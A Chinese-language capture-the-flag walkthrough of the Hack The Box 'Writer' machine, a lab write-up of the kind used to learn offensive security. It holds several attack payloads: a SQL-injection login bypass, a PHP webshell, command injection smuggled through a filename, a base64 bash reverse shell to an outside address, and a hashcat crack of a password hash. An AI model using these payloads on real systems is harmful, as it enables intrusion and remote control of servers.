hackthebox Writer
前言
只写到user权限，谷歌翻了不少walkthrough，但都没讲清是怎么枚举找到这个smtp服务的。
信息收集
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| 256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_ 256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 13m44s
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| WRITER<00> Flags: <unique><active>
| WRITER<03> Flags: <unique><active>
| WRITER<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-14T08:26:26
|_ start_date: N/A
进一步针对web和smb服务收集信息。
web先手动看了一波，没什么突破，再进行目录爆破。
dirb http://10.10.11.101/ Documents/SecLists-2021.3.1/Discovery/Web-Content/directory-list-2.3-small.txt
先让web跑着smb试试admin空密码登录
mbclient -L 10.10.11.101 -U admin%
发现共享目录writer2_project，但是admin和空密码并没有登录成功。又尝试了一些账密还是不行。
先等等web吧。漫长的等待之后(dirb感觉好像是有点慢)
爆出管理路径了！
漏洞分析与利用
页面就一个登录框。基本也就：框架本身漏洞、sql注入、暴力破解三种思路了。
sqlmap跑出来了
既然能注入，那直接万能密码登录啊
账号：admin' or '1'='1'-- ，密码随便填。登录成功
后台翻了一圈，stories的修改处和settings里都有文件上传，但限制了jpg后缀（服务端检测）。苦思良久绕不过去。
又尝试了下修改文章的正文，插入html形式的webshell
<script language="php">@eval($_POST[sb])</script>
但是查看源码发现被转义了
😢搞不定了，开始摇人(google)：
阅读大佬walkthrough得到攻击路径：登录处sql注入读apache配置文件得到网站文件路径->代码审计->命令注入->反弹shell
根据之前sqlmap给的联合查询payload，改一个读取文件的。
读取/etc/passwd成功，且在响应包中暴露Apache2.4.41，当然web指纹识别时已知了。
接下来读取apache的配置文件以寻找web目录及源代码
/etc/apache2/sites-enabled/000-default.conf
发现网站路径/var/www/writer.htb/writer.wsgi和/var/www/writer.htb/static
static目录下有目录遍历,存在图片目录(可以看到别人上传的文件，获取下一步思路也是非预期了)
继续读取writer.wsgi文件(不截图，直接放内容了)
Welcome #!/usr/bin/python
import sys
import logging
import random
import os
# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")
# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")
其中又引入init.py文件，继续读它。要注意它的引入是from writer import app as....
根据python的引入语法，这表明writer.wsgi文件有一个同级目录writer，即这个init.py的路径为
/var/www/writer.htb/writer/__init__.py
Welcome from flask import Flask, session, redirect, url_for, request, render_template
from mysql.connector import errorcode
import mysql.connector
import urllib.request
import os
import PIL
from PIL import Image, UnidentifiedImageError
import hashlib
app = Flask(__name__,static_url_path='',static_folder='static',template_folder='templates')
#Define connection for database
def connections():
try:
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
return connector
except mysql.connector.Error as err:
if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:
return ("Something is wrong with your db user name or password!")
elif err.errno == errorcode.ER_BAD_DB_ERROR:
return ("Database does not exist")
else:
return ("Another exception, returning!")
else:
print ('Connection to DB is ready!')
#Define homepage
@app.route('/')
def home_page():
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('blog/blog.html', results=results)
#Define about page
@app.route('/about')
def about():
return render_template('blog/about.html')
#Define contact page
@app.route('/contact')
def contact():
return render_template('blog/contact.html')
#Define blog posts
@app.route('/blog/post/<id>', methods=['GET'])
def blog_post(id):
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories WHERE id = %(id)s;", {'id': id})
results = cursor.fetchall()
sql_command = "SELECT * FROM stories;"
cursor.execute(sql_command)
stories = cursor.fetchall()
return render_template('blog/blog-single.html', results=results, stories=stories)
#Define dashboard for authenticated users
@app.route('/dashboard')
def dashboard():
if not ('user' in session):
return redirect('/')
return render_template('dashboard.html')
#Define stories page for dashboard and edit/delete pages
@app.route('/dashboard/stories')
def stories():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
cursor = connector.cursor()
sql_command = "Select * From stories;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('stories.html', results=results)
@app.route('/dashboard/stories/add', methods=['GET', 'POST'])
def add_story():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('add.html', error=error)
except:
error = "Issue uploading picture"
return render_template('add.html', error=error)
else:
error = "File extensions must be in .jpg!"
return render_template('add.html', error=error)
author = request.form.get('author')
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("INSERT INTO stories VALUES (NULL,%(author)s,%(title)s,%(tagline)s,%(content)s,'Published',now(),%(image)s);", {'author':author,'title': title,'tagline': tagline,'content': content, 'image':image })
result = connector.commit()
return redirect('/dashboard/stories')
else:
return render_template('add.html')
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])
def edit_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
if request.files['image']:
image = request.files['image']
if ".jpg" in image.filename:
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
image = "/img/{}".format(image.filename)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg" in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system("mv {} {}.jpg".format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
try:
im = Image.open(image)
im.verify()
im.close()
image = image.replace('/tmp/','')
os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
image = "/img/{}".format(image)
cursor = connector.cursor()
cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
result = connector.commit()
except PIL.UnidentifiedImageError:
os.system("rm {}".format(image))
error = "Not a valid image file!"
return render_template('edit.html', error=error, results=results, id=id)
except:
error = "Issue uploading picture"
return render_template('edit.html', error=error, results=results, id=id)
else:
error = "File extensions must be in .jpg!"
return render_template('edit.html', error=error, results=results, id=id)
title = request.form.get('title')
tagline = request.form.get('tagline')
content = request.form.get('content')
cursor = connector.cursor()
cursor.execute("UPDATE stories SET title = %(title)s, tagline = %(tagline)s, content = %(content)s WHERE id = %(id)s", {'title':title, 'tagline':tagline, 'content':content, 'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('edit.html', results=results, id=id)
@app.route('/dashboard/stories/delete/<id>', methods=['GET', 'POST'])
def delete_story(id):
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
if request.method == "POST":
cursor = connector.cursor()
cursor.execute("DELETE FROM stories WHERE id = %(id)s;", {'id': id})
result = connector.commit()
return redirect('/dashboard/stories')
else:
cursor = connector.cursor()
cursor.execute("SELECT * FROM stories where id = %(id)s;", {'id': id})
results = cursor.fetchall()
return render_template('delete.html', results=results, id=id)
#Define user page for dashboard
@app.route('/dashboard/users')
def users():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error"
cursor = connector.cursor()
sql_command = "SELECT * FROM users;"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('users.html', results=results)
#Define settings page
@app.route('/dashboard/settings', methods=['GET'])
def settings():
if not ('user' in session):
return redirect('/')
try:
connector = connections()
except mysql.connector.Error as err:
return "Database Error!"
cursor = connector.cursor()
sql_command = "SELECT * FROM site WHERE id = 1"
cursor.execute(sql_command)
results = cursor.fetchall()
return render_template('settings.html', results=results)
#Define authentication mechanism
@app.route('/administrative', methods=['POST', 'GET'])
def login_page():
if ('user' in session):
return redirect('/dashboard')
if request.method == "POST":
username = request.form.get('uname')
password = request.form.get('password')
password = hashlib.md5(password.encode('utf-8')).hexdigest()
try:
connector = connections()
except mysql.connector.Error as err:
return ("Database error")
try:
cursor = connector.cursor()
sql_command = "Select * From users Where username = '%s' And password = '%s'" % (username, password)
cursor.execute(sql_command)
results = cursor.fetchall()
for result in results:
print("Got result")
if result and len(result) != 0:
session['user'] = username
return render_template('success.html', results=results)
else:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
except:
error = "Incorrect credentials supplied"
return render_template('login.html', error=error)
else:
return render_template('login.html')
@app.route("/logout")
def logout():
if not ('user' in session):
return redirect('/')
session.pop('user')
return redirect('/')
if __name__ == '__main__':
app.run("0.0.0.0")
被html实体编码了，勉强也能看，就不改了。注意到add_story(),edit_story()函数都存在os.system()的命令注入问题。
我们利用image_url这个
if request.form.get('image_url'):
image_url = request.form.get('image_url')
if ".jpg"; in image_url:
try:
local_filename, headers = urllib.request.urlretrieve(image_url)
os.system(";mv {} {}.jpg";.format(local_filename, local_filename))
image = "{}.jpg".format(local_filename)
先生成反弹shell的命令
echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.43/1234 0>&1'"|base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40My8xMjM0IDA+JjEn
再做一个恶意文件名的文件
touch 'wuerror.jpg;`echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40My8xMjM0IDA+JjEn|base64 -d|bash`;'
file:///var/www/writer.htb/writer/static/img/
成功得到反弹shell，查看家目录发现有两个用户john和kyle。user.txt在kyle目录下。先爆破一下试试。
同时去翻看文件夹寻找有无备份或者敏感信息。
mysql开着，去看看它的配置文件
hashcat -a 0 -m 10000 'pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=' --wordlist ../Documents/SecLists-2021.3.1/Passwords/Leaked-Databases/rockyou-50.txt --show
